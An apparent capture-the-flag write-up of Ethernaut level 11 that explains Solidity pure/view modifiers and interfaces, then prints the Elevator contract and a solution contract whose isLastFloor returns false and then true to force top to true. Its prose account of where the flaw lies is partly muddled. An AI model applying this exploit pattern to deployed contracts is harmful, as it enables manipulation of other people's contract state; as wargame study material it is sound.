Ethernaut(Lvl 11): Interfaces , Modifiers

Ethernaut(Lvl 11): Interfaces , Modifiers

Utilizing interfaces and modifiers to reach the top of the building in a contract.

Solidity functions come with function modifiers that execute at the beginning of each function call. While you're already acquainted with visibility modifiers like public and private, which dictate who can invoke these functions, pure and view serve as built-in state modifiers. These modifiers dictate how functions interact with data on the Ethereum blockchain, essentially the state.

In ascending order of state permissions:

pure: Guarantees that functions won't read from or modify the state. It's worth noting that pure replaces constant in newer compiler versions. view: Ensures that functions will only read from the state, without making any modifications. default: [no modifier] Indicates that functions will both read from and modify the state.

In practice, it's essential to adhere to modifier best practices to ensure security. In earlier compiler versions, there was a loophole where functions could betray their modifier promise without any warnings. For instance, a pure function could break its promise and modify function state, which could potentially lead to security risks.

It's crucial to regard these data modifiers as commitments to data mutability, rather than absolute guarantees.

Interfaces facilitate communication between different contract classes, functioning as an ABI (or API) declaration that standardizes communication across contracts using the same language/data structure. However, interfaces don't dictate the logic within the functions, granting developers the freedom to implement their own business layer.

Contract Interfaces outline the WHAT but not the HOW of interactions between contracts.

Developers typically leverage interfaces in two main scenarios:

To design contracts: By generating a functional ABI first, developers can then proceed to implement the actual contract. For token contracts: By establishing a shared language, different contracts can utilize these tokens to manage their business logic effectively.

On the other hand, some developers opt to bypass interfaces entirely, favoring abstract classes. It's essential to note that abstract classes share similar security vulnerabilities with interfaces, as certain functions are pre-programmed but easily overridden.

The Challenge

The challenge requires you to get to the top of the building , basially changing the value of the top state variable to true.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

The contract below ElevatorHacking is designed to exploit a vulnerability in the IElevator interface. The vulnerability lies in the isLastFloor function within the ElevatorHacking contract.

The isLastFloor function is intended to determine if the current floor is the last floor. However, it contains a logic flaw. Upon the first invocation, it sets the isFirstClass variable to true and returns false, indicating that it's not the last floor. Subsequent invocations will always return true, indicating that it is the last floor.

The attack function of the ElevatorHacking contract is where the exploitation occurs. It takes the address of an IElevator contract as an argument and calls the goTo function of that contract, specifying the floor number as 1. However, due to the flawed logic in the isLastFloor function, the elevator will incorrectly believe that it has reached the last floor after the first invocation of the isLastFloor function. As a result, it will stop at floor 1 instead of continuing to the intended floor, thereby exploiting the vulnerability in the elevator's functionality.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// Interface for the Elevator contract
interface IElevator {
  function goTo(uint _floor) external;
}

// Contract for exploiting the Elevator contract
contract ElevatorHacking{
    bool isFirstClass; // Variable to track if the first class has been reached

    // Function to check if the floor is the last floor
    function isLastFloor(uint) public returns (bool){
        if(!isFirstClass){
            isFirstClass = true; // Marking the first class as reached
            return false; // Returning false to indicate it's not the last floor
        }
        return true; // Returning true to indicate it's the last floor
    }

    // Function to attack the Elevator contract
    function attack(address _elevatorAddress) public {
        IElevator(_elevatorAddress).goTo(1); // Calling the goTo function of the Elevator contract with floor number 1
    }
}

Developer TidBits

Interfaces are not a foolproof solution for ensuring the security of contracts. It's important to understand that simply because a contract utilizes the same interface as another does not guarantee that it will function as expected. When contracts inherit from interfaces, it's crucial to exercise caution. Each layer of abstraction adds complexity and can potentially introduce security vulnerabilities due to obscured information. With each iteration of the contract, security may diminish.

It's vital to pay attention to the compiler version being used or inherited from. Even though functions may be declared as "view" or "pure," there's no guarantee that they won't inadvertently modify state. The Solidity compiler lacks mechanisms to enforce the integrity of view, constant, or pure functions, meaning they may deviate from their intended behavior without detection.